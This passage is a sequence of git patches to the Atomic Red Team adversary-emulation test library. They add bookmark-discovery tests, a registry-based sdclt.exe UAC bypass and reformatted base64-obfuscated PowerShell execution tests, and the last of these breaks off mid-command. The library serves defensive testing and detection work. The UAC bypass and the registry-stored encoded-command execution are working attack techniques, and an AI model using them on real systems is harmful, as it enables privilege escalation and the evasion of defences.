From cc4d7c0a864591dd38e4e98a8fd64f2f51bc77ba Mon Sep 17 00:00:00 2001 From: Tsora-Pop <35981510+Tsora-Pop@users.noreply.github.com> Date: Thu, 14 May 2020 10:57:37 -0500 Subject: [PATCH 08/16] Edited & Updated T1217 (#988) * Edited 1217 for Edge Chromium Edited 1217 atomic as it also executes for Edge Chromium on Windows * Updates T1217 Added Atomic for listing location of all FireFox bookmark databases * typo fix Co-authored-by: Carrie Roberts --- atomics/T1217/T1217.yaml | 17 +++++++++++++++-- 1 file changed, 15 insertions(+), 2 deletions(-) diff --git a/atomics/T1217/T1217.yaml b/atomics/T1217/T1217.yaml index b0317b94..46929e98 100644 --- a/atomics/T1217/T1217.yaml +++ b/atomics/T1217/T1217.yaml @@ -73,9 +73,9 @@ atomic_tests: command: | Get-ChildItem -Path C:\Users\ -Filter Bookmarks -Recurse -ErrorAction SilentlyContinue -Force -- name: List Google Chrome Bookmarks on Windows with command prompt. +- name: List Google Chrome / Edge Chromium Bookmarks on Windows with command prompt. description: | - Searches for Google Chromes's Bookmarks file (on Windows distributions) that contains bookmarks. + Searches for Google Chromes's and Edge Chromium's Bookmarks file (on Windows distributions) that contains bookmarks. Upon execution, paths that contain bookmark files will be displayed. supported_platforms: @@ -85,3 +85,16 @@ atomic_tests: name: command_prompt command: | where /R C:\Users\ Bookmarks + +- name: List Mozilla Firefox bookmarks on Windows with command prompt. + description: | + Searches for Mozilla Firefox bookmarks file (on Windows distributions) that contains bookmarks in a SQLITE database. + Upon execution, paths that contain bookmark files will be displayed. + + supported_platforms: + - windows + + executor: + name: command_prompt + command: | + where /R C:\Users\ places.sqlite From 5047631117a6376afbfbf9a835ca76928aa0d55e Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Thu, 14 May 2020 15:58:10 +0000 Subject: [PATCH 09/16] Generate docs from job=validate_atomics_generate_docs branch=master --- atomics/Indexes/Indexes-CSV/index.csv | 3 +- atomics/Indexes/Indexes-CSV/windows-index.csv | 3 +- atomics/Indexes/Indexes-Markdown/index.md | 3 +- .../Indexes/Indexes-Markdown/windows-index.md | 3 +- atomics/Indexes/index.yaml | 15 +++++++-- atomics/T1217/T1217.md | 33 +++++++++++++++++-- 6 files changed, 51 insertions(+), 9 deletions(-) diff --git a/atomics/Indexes/Indexes-CSV/index.csv b/atomics/Indexes/Indexes-CSV/index.csv index 3b4219a6..beaa5dfd 100644 --- a/atomics/Indexes/Indexes-CSV/index.csv +++ b/atomics/Indexes/Indexes-CSV/index.csv @@ -359,7 +359,8 @@ discovery,T1217,Browser Bookmark Discovery,1,List Mozilla Firefox Bookmark Datab discovery,T1217,Browser Bookmark Discovery,2,List Mozilla Firefox Bookmark Database Files on macOS discovery,T1217,Browser Bookmark Discovery,3,List Google Chrome Bookmark JSON Files on macOS discovery,T1217,Browser Bookmark Discovery,4,List Google Chrome Bookmarks on Windows with powershell -discovery,T1217,Browser Bookmark Discovery,5,List Google Chrome Bookmarks on Windows with command prompt. +discovery,T1217,Browser Bookmark Discovery,5,List Google Chrome / Edge Chromium Bookmarks on Windows with command prompt. +discovery,T1217,Browser Bookmark Discovery,6,List Mozilla Firefox bookmarks on Windows with command prompt. discovery,T1482,Domain Trust Discovery,1,Windows - Discover domain trusts with dsquery discovery,T1482,Domain Trust Discovery,2,Windows - Discover domain trusts with nltest discovery,T1482,Domain Trust Discovery,3,Powershell enumerate domains and forests diff --git a/atomics/Indexes/Indexes-CSV/windows-index.csv b/atomics/Indexes/Indexes-CSV/windows-index.csv index ec1a5336..507ed651 100644 --- a/atomics/Indexes/Indexes-CSV/windows-index.csv +++ b/atomics/Indexes/Indexes-CSV/windows-index.csv @@ -236,7 +236,8 @@ discovery,T1087,Account Discovery,10,Enumerate logged on users via CMD discovery,T1087,Account Discovery,11,Enumerate logged on users via PowerShell discovery,T1010,Application Window Discovery,1,List Process Main Windows - C# .NET discovery,T1217,Browser Bookmark Discovery,4,List Google Chrome Bookmarks on Windows with powershell -discovery,T1217,Browser Bookmark Discovery,5,List Google Chrome Bookmarks on Windows with command prompt. +discovery,T1217,Browser Bookmark Discovery,5,List Google Chrome / Edge Chromium Bookmarks on Windows with command prompt. +discovery,T1217,Browser Bookmark Discovery,6,List Mozilla Firefox bookmarks on Windows with command prompt. discovery,T1482,Domain Trust Discovery,1,Windows - Discover domain trusts with dsquery discovery,T1482,Domain Trust Discovery,2,Windows - Discover domain trusts with nltest discovery,T1482,Domain Trust Discovery,3,Powershell enumerate domains and forests diff --git a/atomics/Indexes/Indexes-Markdown/index.md b/atomics/Indexes/Indexes-Markdown/index.md index f6921308..d57e593a 100644 --- a/atomics/Indexes/Indexes-Markdown/index.md +++ b/atomics/Indexes/Indexes-Markdown/index.md @@ -555,7 +555,8 @@ - Atomic Test #2: List Mozilla Firefox Bookmark Database Files on macOS [macos] - Atomic Test #3: List Google Chrome Bookmark JSON Files on macOS [macos] - Atomic Test #4: List Google Chrome Bookmarks on Windows with powershell [windows] - - Atomic Test #5: List Google Chrome Bookmarks on Windows with command prompt. [windows] + - Atomic Test #5: List Google Chrome / Edge Chromium Bookmarks on Windows with command prompt. [windows] + - Atomic Test #6: List Mozilla Firefox bookmarks on Windows with command prompt. [windows] - T1538 Cloud Service Dashboard [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1526 Cloud Service Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1482 Domain Trust Discovery](../../T1482/T1482.md) diff --git a/atomics/Indexes/Indexes-Markdown/windows-index.md b/atomics/Indexes/Indexes-Markdown/windows-index.md index 1bccb589..e4915031 100644 --- a/atomics/Indexes/Indexes-Markdown/windows-index.md +++ b/atomics/Indexes/Indexes-Markdown/windows-index.md @@ -391,7 +391,8 @@ - Atomic Test #1: List Process Main Windows - C# .NET [windows] - [T1217 Browser Bookmark Discovery](../../T1217/T1217.md) - Atomic Test #4: List Google Chrome Bookmarks on Windows with powershell [windows] - - Atomic Test #5: List Google Chrome Bookmarks on Windows with command prompt. [windows] + - Atomic Test #5: List Google Chrome / Edge Chromium Bookmarks on Windows with command prompt. [windows] + - Atomic Test #6: List Mozilla Firefox bookmarks on Windows with command prompt. [windows] - [T1482 Domain Trust Discovery](../../T1482/T1482.md) - Atomic Test #1: Windows - Discover domain trusts with dsquery [windows] - Atomic Test #2: Windows - Discover domain trusts with nltest [windows] diff --git a/atomics/Indexes/index.yaml b/atomics/Indexes/index.yaml index 1b75da88..f9512a17 100644 --- a/atomics/Indexes/index.yaml +++ b/atomics/Indexes/index.yaml @@ -18019,9 +18019,9 @@ discovery: SilentlyContinue -Force ' - - name: List Google Chrome Bookmarks on Windows with command prompt. + - name: List Google Chrome / Edge Chromium Bookmarks on Windows with command prompt. description: | - Searches for Google Chromes's Bookmarks file (on Windows distributions) that contains bookmarks. + Searches for Google Chromes's and Edge Chromium's Bookmarks file (on Windows distributions) that contains bookmarks. Upon execution, paths that contain bookmark files will be displayed. supported_platforms: - windows @@ -18029,6 +18029,17 @@ discovery: name: command_prompt command: 'where /R C:\Users\ Bookmarks +' + - name: List Mozilla Firefox bookmarks on Windows with command prompt. + description: | + Searches for Mozilla Firefox bookmarks file (on Windows distributions) that contains bookmarks in a SQLITE database. + Upon execution, paths that contain bookmark files will be displayed. + supported_platforms: + - windows + executor: + name: command_prompt + command: 'where /R C:\Users\ places.sqlite + ' '': technique: diff --git a/atomics/T1217/T1217.md b/atomics/T1217/T1217.md index ae9f9e23..2226ee14 100644 --- a/atomics/T1217/T1217.md +++ b/atomics/T1217/T1217.md @@ -16,7 +16,9 @@ Specific storage locations vary based on platform and/or application, but browse - [Atomic Test #4 - List Google Chrome Bookmarks on Windows with powershell](#atomic-test-4---list-google-chrome-bookmarks-on-windows-with-powershell) -- [Atomic Test #5 - List Google Chrome Bookmarks on Windows with command prompt.](#atomic-test-5---list-google-chrome-bookmarks-on-windows-with-command-prompt) +- [Atomic Test #5 - List Google Chrome / Edge Chromium Bookmarks on Windows with command prompt.](#atomic-test-5---list-google-chrome--edge-chromium-bookmarks-on-windows-with-command-prompt) + +- [Atomic Test #6 - List Mozilla Firefox bookmarks on Windows with command prompt.](#atomic-test-6---list-mozilla-firefox-bookmarks-on-windows-with-command-prompt)
@@ -148,8 +150,8 @@ Get-ChildItem -Path C:\Users\ -Filter Bookmarks -Recurse -ErrorAction SilentlyCo

-## Atomic Test #5 - List Google Chrome Bookmarks on Windows with command prompt. -Searches for Google Chromes's Bookmarks file (on Windows distributions) that contains bookmarks. +## Atomic Test #5 - List Google Chrome / Edge Chromium Bookmarks on Windows with command prompt. +Searches for Google Chromes's and Edge Chromium's Bookmarks file (on Windows distributions) that contains bookmarks. Upon execution, paths that contain bookmark files will be displayed. **Supported Platforms:** Windows @@ -170,4 +172,29 @@ where /R C:\Users\ Bookmarks +
+
+ +## Atomic Test #6 - List Mozilla Firefox bookmarks on Windows with command prompt. +Searches for Mozilla Firefox bookmarks file (on Windows distributions) that contains bookmarks in a SQLITE database. +Upon execution, paths that contain bookmark files will be displayed. + +**Supported Platforms:** Windows + + + + + +#### Attack Commands: Run with `command_prompt`! + + +```cmd +where /R C:\Users\ places.sqlite +``` + + + + + +
From 2817e257d446d9504b3f78cf263f1c00e68d9bb2 Mon Sep 17 00:00:00 2001 From: Michael Haag Date: Thu, 14 May 2020 10:52:44 -0600 Subject: [PATCH 10/16] T1088 sdclt.exe UAC Bypass (#986) * T1088 sdclt Fileless UAC Bypass Adding simple sdclt uac bypass to Atomic. * Generate docs from job=validate_atomics_generate_docs branch=T1088-UAC Co-authored-by: CircleCI Atomic Red Team doc generator Co-authored-by: Carrie Roberts --- atomics/Indexes/Indexes-CSV/index.csv | 2 + atomics/Indexes/Indexes-CSV/windows-index.csv | 2 + atomics/Indexes/Indexes-Markdown/index.md | 2 + .../Indexes/Indexes-Markdown/windows-index.md | 2 + atomics/Indexes/index.yaml | 48 +++++++++++++++++++ atomics/T1088/T1088.md | 41 ++++++++++++++++ atomics/T1088/T1088.yaml | 26 ++++++++++ 7 files changed, 123 insertions(+) diff --git a/atomics/Indexes/Indexes-CSV/index.csv b/atomics/Indexes/Indexes-CSV/index.csv index beaa5dfd..5d84ca45 100644 --- a/atomics/Indexes/Indexes-CSV/index.csv +++ b/atomics/Indexes/Indexes-CSV/index.csv @@ -96,6 +96,7 @@ defense-evasion,T1088,Bypass User Account Control,3,Bypass UAC using Fodhelper defense-evasion,T1088,Bypass User Account Control,4,Bypass UAC using Fodhelper - PowerShell defense-evasion,T1088,Bypass User Account Control,5,Bypass UAC using ComputerDefaults (PowerShell) defense-evasion,T1088,Bypass User Account Control,6,Bypass UAC by Mocking Trusted Directories +defense-evasion,T1088,Bypass User Account Control,7,Bypass UAC using sdclt DelegateExecute defense-evasion,T1191,CMSTP,1,CMSTP Executing Remote Scriptlet defense-evasion,T1191,CMSTP,2,CMSTP Executing UAC Bypass defense-evasion,T1146,Clear Command History,1,Clear Bash history (rm) @@ -290,6 +291,7 @@ privilege-escalation,T1088,Bypass User Account Control,3,Bypass UAC using Fodhel privilege-escalation,T1088,Bypass User Account Control,4,Bypass UAC using Fodhelper - PowerShell privilege-escalation,T1088,Bypass User Account Control,5,Bypass UAC using ComputerDefaults (PowerShell) privilege-escalation,T1088,Bypass User Account Control,6,Bypass UAC by Mocking Trusted Directories +privilege-escalation,T1088,Bypass User Account Control,7,Bypass UAC using sdclt DelegateExecute privilege-escalation,T1038,DLL Search Order Hijacking,1,DLL Search Order Hijacking - amsi.dll privilege-escalation,T1519,Emond,1,Persistance with Event Monitor - emond privilege-escalation,T1044,File System Permissions Weakness,1,File System Permissions Weakness diff --git a/atomics/Indexes/Indexes-CSV/windows-index.csv b/atomics/Indexes/Indexes-CSV/windows-index.csv index 507ed651..d4575135 100644 --- a/atomics/Indexes/Indexes-CSV/windows-index.csv +++ b/atomics/Indexes/Indexes-CSV/windows-index.csv @@ -8,6 +8,7 @@ defense-evasion,T1088,Bypass User Account Control,3,Bypass UAC using Fodhelper defense-evasion,T1088,Bypass User Account Control,4,Bypass UAC using Fodhelper - PowerShell defense-evasion,T1088,Bypass User Account Control,5,Bypass UAC using ComputerDefaults (PowerShell) defense-evasion,T1088,Bypass User Account Control,6,Bypass UAC by Mocking Trusted Directories +defense-evasion,T1088,Bypass User Account Control,7,Bypass UAC using sdclt DelegateExecute defense-evasion,T1191,CMSTP,1,CMSTP Executing Remote Scriptlet defense-evasion,T1191,CMSTP,2,CMSTP Executing UAC Bypass defense-evasion,T1500,Compile After Delivery,1,Compile After Delivery using csc.exe @@ -140,6 +141,7 @@ privilege-escalation,T1088,Bypass User Account Control,3,Bypass UAC using Fodhel privilege-escalation,T1088,Bypass User Account Control,4,Bypass UAC using Fodhelper - PowerShell privilege-escalation,T1088,Bypass User Account Control,5,Bypass UAC using ComputerDefaults (PowerShell) privilege-escalation,T1088,Bypass User Account Control,6,Bypass UAC by Mocking Trusted Directories +privilege-escalation,T1088,Bypass User Account Control,7,Bypass UAC using sdclt DelegateExecute privilege-escalation,T1038,DLL Search Order Hijacking,1,DLL Search Order Hijacking - amsi.dll privilege-escalation,T1044,File System Permissions Weakness,1,File System Permissions Weakness privilege-escalation,T1179,Hooking,1,Hook PowerShell TLS Encrypt/Decrypt Messages diff --git a/atomics/Indexes/Indexes-Markdown/index.md b/atomics/Indexes/Indexes-Markdown/index.md index d57e593a..31e8214b 100644 --- a/atomics/Indexes/Indexes-Markdown/index.md +++ b/atomics/Indexes/Indexes-Markdown/index.md @@ -167,6 +167,7 @@ - Atomic Test #4: Bypass UAC using Fodhelper - PowerShell [windows] - Atomic Test #5: Bypass UAC using ComputerDefaults (PowerShell) [windows] - Atomic Test #6: Bypass UAC by Mocking Trusted Directories [windows] + - Atomic Test #7: Bypass UAC using sdclt DelegateExecute [windows] - [T1191 CMSTP](../../T1191/T1191.md) - Atomic Test #1: CMSTP Executing Remote Scriptlet [windows] - Atomic Test #2: CMSTP Executing UAC Bypass [windows] @@ -437,6 +438,7 @@ - Atomic Test #4: Bypass UAC using Fodhelper - PowerShell [windows] - Atomic Test #5: Bypass UAC using ComputerDefaults (PowerShell) [windows] - Atomic Test #6: Bypass UAC by Mocking Trusted Directories [windows] + - Atomic Test #7: Bypass UAC using sdclt DelegateExecute [windows] - [T1038 DLL Search Order Hijacking](../../T1038/T1038.md) - Atomic Test #1: DLL Search Order Hijacking - amsi.dll [windows] - T1157 Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/Indexes/Indexes-Markdown/windows-index.md b/atomics/Indexes/Indexes-Markdown/windows-index.md index e4915031..475285dc 100644 --- a/atomics/Indexes/Indexes-Markdown/windows-index.md +++ b/atomics/Indexes/Indexes-Markdown/windows-index.md @@ -13,6 +13,7 @@ - Atomic Test #4: Bypass UAC using Fodhelper - PowerShell [windows] - Atomic Test #5: Bypass UAC using ComputerDefaults (PowerShell) [windows] - Atomic Test #6: Bypass UAC by Mocking Trusted Directories [windows] + - Atomic Test #7: Bypass UAC using sdclt DelegateExecute [windows] - [T1191 CMSTP](../../T1191/T1191.md) - Atomic Test #1: CMSTP Executing Remote Scriptlet [windows] - Atomic Test #2: CMSTP Executing UAC Bypass [windows] @@ -209,6 +210,7 @@ - Atomic Test #4: Bypass UAC using Fodhelper - PowerShell [windows] - Atomic Test #5: Bypass UAC using ComputerDefaults (PowerShell) [windows] - Atomic Test #6: Bypass UAC by Mocking Trusted Directories [windows] + - Atomic Test #7: Bypass UAC using sdclt DelegateExecute [windows] - [T1038 DLL Search Order Hijacking](../../T1038/T1038.md) - Atomic Test #1: DLL Search Order Hijacking - amsi.dll [windows] - T1068 Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/Indexes/index.yaml b/atomics/Indexes/index.yaml index f9512a17..79dc6311 100644 --- a/atomics/Indexes/index.yaml +++ b/atomics/Indexes/index.yaml @@ -6074,6 +6074,30 @@ defense-evasion: cleanup_command: | rd "\\?\C:\Windows \" /S /Q >nul 2>nul del "c:\testbypass.exe" >nul 2>nul + - name: Bypass UAC using sdclt DelegateExecute + description: "Bypasses User Account Control using a fileless method, registry + only. \nUpon successful execution, sdclt.exe will spawn cmd.exe to spawn notepad.exe\n[Reference + - sevagas.com](http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass)\nAdapted + from [MITRE ATT&CK Evals](https://github.com/mitre-attack/attack-arsenal/blob/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/stepFourteen_bypassUAC.ps1)\n" + supported_platforms: + - windows + input_arguments: + command.to.execute: + description: Command to execute + type: string + default: cmd.exe /c notepad.exe + executor: + name: powershell + elevation_required: false + command: | + New-Item -Force -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Value '#{command.to.execute}' + New-ItemProperty -Force -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Name "DelegateExecute" + Start-Process -FilePath $env:windir\system32\sdclt.exe + Start-Sleep -s 3 + cleanup_command: 'Remove-Item -Path "HKCU:\Software\Classes\Folder" -Recurse + -Force -ErrorAction Ignore + +' T1191: technique: x_mitre_data_sources: @@ -14605,6 +14629,30 @@ privilege-escalation: cleanup_command: | rd "\\?\C:\Windows \" /S /Q >nul 2>nul del "c:\testbypass.exe" >nul 2>nul + - name: Bypass UAC using sdclt DelegateExecute + description: "Bypasses User Account Control using a fileless method, registry + only. \nUpon successful execution, sdclt.exe will spawn cmd.exe to spawn notepad.exe\n[Reference + - sevagas.com](http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass)\nAdapted + from [MITRE ATT&CK Evals](https://github.com/mitre-attack/attack-arsenal/blob/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/stepFourteen_bypassUAC.ps1)\n" + supported_platforms: + - windows + input_arguments: + command.to.execute: + description: Command to execute + type: string + default: cmd.exe /c notepad.exe + executor: + name: powershell + elevation_required: false + command: | + New-Item -Force -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Value '#{command.to.execute}' + New-ItemProperty -Force -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Name "DelegateExecute" + Start-Process -FilePath $env:windir\system32\sdclt.exe + Start-Sleep -s 3 + cleanup_command: 'Remove-Item -Path "HKCU:\Software\Classes\Folder" -Recurse + -Force -ErrorAction Ignore + +' T1038: technique: x_mitre_permissions_required: diff --git a/atomics/T1088/T1088.md b/atomics/T1088/T1088.md index f3be20d9..040bee66 100644 --- a/atomics/T1088/T1088.md +++ b/atomics/T1088/T1088.md @@ -24,6 +24,8 @@ Another bypass is possible through some Lateral Movement techniques if credentia - [Atomic Test #6 - Bypass UAC by Mocking Trusted Directories](#atomic-test-6---bypass-uac-by-mocking-trusted-directories) +- [Atomic Test #7 - Bypass UAC using sdclt DelegateExecute](#atomic-test-7---bypass-uac-using-sdclt-delegateexecute) +
@@ -242,4 +244,43 @@ del "c:\testbypass.exe" >nul 2>nul +
+
+ +## Atomic Test #7 - Bypass UAC using sdclt DelegateExecute +Bypasses User Account Control using a fileless method, registry only. +Upon successful execution, sdclt.exe will spawn cmd.exe to spawn notepad.exe +[Reference - sevagas.com](http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass) +Adapted from [MITRE ATT&CK Evals](https://github.com/mitre-attack/attack-arsenal/blob/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/stepFourteen_bypassUAC.ps1) + +**Supported Platforms:** Windows + + + + +#### Inputs: +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| command.to.execute | Command to execute | string | cmd.exe /c notepad.exe| + + +#### Attack Commands: Run with `powershell`! + + +```powershell +New-Item -Force -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Value '#{command.to.execute}' +New-ItemProperty -Force -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Name "DelegateExecute" +Start-Process -FilePath $env:windir\system32\sdclt.exe +Start-Sleep -s 3 +``` + +#### Cleanup Commands: +```powershell +Remove-Item -Path "HKCU:\Software\Classes\Folder" -Recurse -Force -ErrorAction Ignore +``` + + + + +
diff --git a/atomics/T1088/T1088.yaml b/atomics/T1088/T1088.yaml index 95121f78..f7d44c03 100644 --- a/atomics/T1088/T1088.yaml +++ b/atomics/T1088/T1088.yaml @@ -136,3 +136,29 @@ atomic_tests: cleanup_command: | rd "\\?\C:\Windows \" /S /Q >nul 2>nul del "c:\testbypass.exe" >nul 2>nul + +- name: Bypass UAC using sdclt DelegateExecute + description: | + Bypasses User Account Control using a fileless method, registry only. + Upon successful execution, sdclt.exe will spawn cmd.exe to spawn notepad.exe + [Reference - sevagas.com](http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass) + Adapted from [MITRE ATT&CK Evals](https://github.com/mitre-attack/attack-arsenal/blob/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/stepFourteen_bypassUAC.ps1) + supported_platforms: + - windows + + input_arguments: + command.to.execute: + description: Command to execute + type: string + default: cmd.exe /c notepad.exe + + executor: + name: powershell + elevation_required: false + command: | + New-Item -Force -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Value '#{command.to.execute}' + New-ItemProperty -Force -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Name "DelegateExecute" + Start-Process -FilePath $env:windir\system32\sdclt.exe + Start-Sleep -s 3 + cleanup_command: | + Remove-Item -Path "HKCU:\Software\Classes\Folder" -Recurse -Force -ErrorAction Ignore From 52884708e479d98953866643720ace7515448326 Mon Sep 17 00:00:00 2001 From: Carrie Roberts Date: Thu, 14 May 2020 10:53:50 -0600 Subject: [PATCH 11/16] typo fix (#987) --- atomics/T1028/T1028.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/atomics/T1028/T1028.yaml b/atomics/T1028/T1028.yaml index 4c5eca8e..ad072f08 100644 --- a/atomics/T1028/T1028.yaml +++ b/atomics/T1028/T1028.yaml @@ -101,7 +101,7 @@ atomic_tests: - description: | PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_exe}) prereq_command: | - if (Test-Path "#{psexec_exe}"") { exit 0} else { exit 1} + if (Test-Path "#{psexec_exe}") { exit 0} else { exit 1} get_prereq_command: | Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "$env:TEMP\PsTools.zip" Expand-Archive $env:TEMP\PsTools.zip $env:TEMP\PsTools -Force From 82af4ecbd910251a08b06dcbc86d4d1446b1acd1 Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Thu, 14 May 2020 16:54:18 +0000 Subject: [PATCH 12/16] Generate docs from job=validate_atomics_generate_docs branch=master --- atomics/Indexes/index.yaml | 4 ++-- atomics/T1028/T1028.md | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/atomics/Indexes/index.yaml b/atomics/Indexes/index.yaml index 79dc6311..fe941fe5 100644 --- a/atomics/Indexes/index.yaml +++ b/atomics/Indexes/index.yaml @@ -26646,7 +26646,7 @@ execution: dependencies: - description: PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_exe}) - prereq_command: if (Test-Path "#{psexec_exe}"") { exit 0} else { exit 1} + prereq_command: if (Test-Path "#{psexec_exe}") { exit 0} else { exit 1} get_prereq_command: |- Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "$env:TEMP\PsTools.zip" Expand-Archive $env:TEMP\PsTools.zip $env:TEMP\PsTools -Force @@ -28170,7 +28170,7 @@ lateral-movement: dependencies: - description: PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_exe}) - prereq_command: if (Test-Path "#{psexec_exe}"") { exit 0} else { exit 1} + prereq_command: if (Test-Path "#{psexec_exe}") { exit 0} else { exit 1} get_prereq_command: |- Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "$env:TEMP\PsTools.zip" Expand-Archive $env:TEMP\PsTools.zip $env:TEMP\PsTools -Force diff --git a/atomics/T1028/T1028.md b/atomics/T1028/T1028.md index 01e3962c..7b192b29 100644 --- a/atomics/T1028/T1028.md +++ b/atomics/T1028/T1028.md @@ -144,7 +144,7 @@ Upon successful execution, cmd will utilize psexec.exe to spawn cmd.exe on a rem ##### Description: PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_exe}) ##### Check Prereq Commands: ```cmd -if (Test-Path "#{psexec_exe}"") { exit 0} else { exit 1} +if (Test-Path "#{psexec_exe}") { exit 0} else { exit 1} ``` ##### Get Prereq Commands: ```cmd From 2954c1fc39caee173fbb201e2b5af60c84c5a0b7 Mon Sep 17 00:00:00 2001 From: tlor89 <60741301+tlor89@users.noreply.github.com> Date: Thu, 14 May 2020 17:43:28 -0500 Subject: [PATCH 13/16] T1027 4 update (#992) * T1027-4_Update * T1027-4_Update Co-authored-by: Toua Lor Co-authored-by: Carrie Roberts --- atomics/T1027/T1027.yaml | 171 ++++++++++++++++++++++++--------------- 1 file changed, 104 insertions(+), 67 deletions(-) diff --git a/atomics/T1027/T1027.yaml b/atomics/T1027/T1027.yaml index 39e2c483..b4ff755e 100644 --- a/atomics/T1027/T1027.yaml +++ b/atomics/T1027/T1027.yaml @@ -3,78 +3,115 @@ attack_technique: T1027 display_name: Obfuscated Files or Information atomic_tests: -- name: Decode base64 Data into Script - description: | - Creates a base64-encoded data file and decodes it into an executable shell script + - name: Decode base64 Data into Script + description: | + Creates a base64-encoded data file and decodes it into an executable shell script - Upon successful execution, sh will execute art.sh, which is a base64 encoded command, that stdouts `echo Hello from the Atomic Red Team`. + Upon successful execution, sh will execute art.sh, which is a base64 encoded command, that stdouts `echo Hello from the Atomic Red Team`. - supported_platforms: - - macos - - linux + supported_platforms: + - macos + - linux - executor: - name: sh - elevation_required: false - command: | - sh -c "echo ZWNobyBIZWxsbyBmcm9tIHRoZSBBdG9taWMgUmVkIFRlYW0= > /tmp/encoded.dat" - cat /tmp/encoded.dat | base64 -d > /tmp/art.sh - chmod +x /tmp/art.sh - /tmp/art.sh + executor: + name: sh + elevation_required: false + command: | + sh -c "echo ZWNobyBIZWxsbyBmcm9tIHRoZSBBdG9taWMgUmVkIFRlYW0= > /tmp/encoded.dat" + cat /tmp/encoded.dat | base64 -d > /tmp/art.sh + chmod +x /tmp/art.sh + /tmp/art.sh -- name: Execute base64-encoded PowerShell - description: | - Creates base64-encoded PowerShell code and executes it. This is used by numerous adversaries and malicious tools. - - Upon successful execution, powershell will execute an encoded command and stdout default is "Write-Host "Hey, Atomic!" - supported_platforms: - - windows - input_arguments: - powershell_command: - description: PowerShell command to encode - type: String - default: Write-Host "Hey, Atomic!" - executor: - name: powershell - elevation_required: false - command: | - $OriginalCommand = '#{powershell_command}' - $Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand) - $EncodedCommand =[Convert]::ToBase64String($Bytes) - $EncodedCommand - powershell.exe -EncodedCommand $EncodedCommand + - name: Execute base64-encoded PowerShell + description: | + Creates base64-encoded PowerShell code and executes it. This is used by numerous adversaries and malicious tools. -- name: Execute base64-encoded PowerShell from Windows Registry - description: | - Stores base64-encoded PowerShell code in the Windows Registry and deobfuscates it for execution. This is used by numerous adversaries and malicious tools. + Upon successful execution, powershell will execute an encoded command and stdout default is "Write-Host "Hey, Atomic!" + supported_platforms: + - windows + input_arguments: + powershell_command: + description: PowerShell command to encode + type: String + default: Write-Host "Hey, Atomic!" + executor: + name: powershell + elevation_required: false + command: | + $OriginalCommand = '#{powershell_command}' + $Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand) + $EncodedCommand =[Convert]::ToBase64String($Bytes) + $EncodedCommand + powershell.exe -EncodedCommand $EncodedCommand - Upon successful execution, powershell will execute encoded command and read/write from the registry. + - name: Execute base64-encoded PowerShell from Windows Registry + description: | + Stores base64-encoded PowerShell code in the Windows Registry and deobfuscates it for execution. This is used by numerous adversaries and malicious tools. - supported_platforms: - - windows - input_arguments: - powershell_command: - description: PowerShell command to encode - type: String - default: Write-Host "Hey, Atomic!" - registry_key_storage: - description: Windows Registry Key to store code - type: String - default: HKCU:Software\Microsoft\Windows\CurrentVersion - registry_entry_storage: - description: Windows Registry entry to store code under key - type: String - default: Debug - executor: - name: powershell - elevation_required: false - command: | - $OriginalCommand = '#{powershell_command}' - $Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand) - $EncodedCommand =[Convert]::ToBase64String($Bytes) - $EncodedCommand + Upon successful execution, powershell will execute encoded command and read/write from the registry. - Set-ItemProperty -Force -Path #{registry_key_storage} -Name #{registry_entry_storage} -Value $EncodedCommand - powershell.exe -Command "IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp #{registry_key_storage} #{registry_entry_storage}).#{registry_entry_storage})))" - cleanup_command: | - Remove-ItemProperty -Force -ErrorAction Ignore -Path #{registry_key_storage} -Name #{registry_entry_storage} + supported_platforms: + - windows + input_arguments: + powershell_command: + description: PowerShell command to encode + type: String + default: Write-Host "Hey, Atomic!" + registry_key_storage: + description: Windows Registry Key to store code + type: String + default: HKCU:Software\Microsoft\Windows\CurrentVersion + registry_entry_storage: + description: Windows Registry entry to store code under key + type: String + default: Debug + executor: + name: powershell + elevation_required: false + command: | + $OriginalCommand = '#{powershell_command}' + $Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand) + $EncodedCommand =[Convert]::ToBase64String($Bytes) + $EncodedCommand + + Set-ItemProperty -Force -Path #{registry_key_storage} -Name #{registry_entry_storage} -Value $EncodedCommand + powershell.exe -Command "IEX 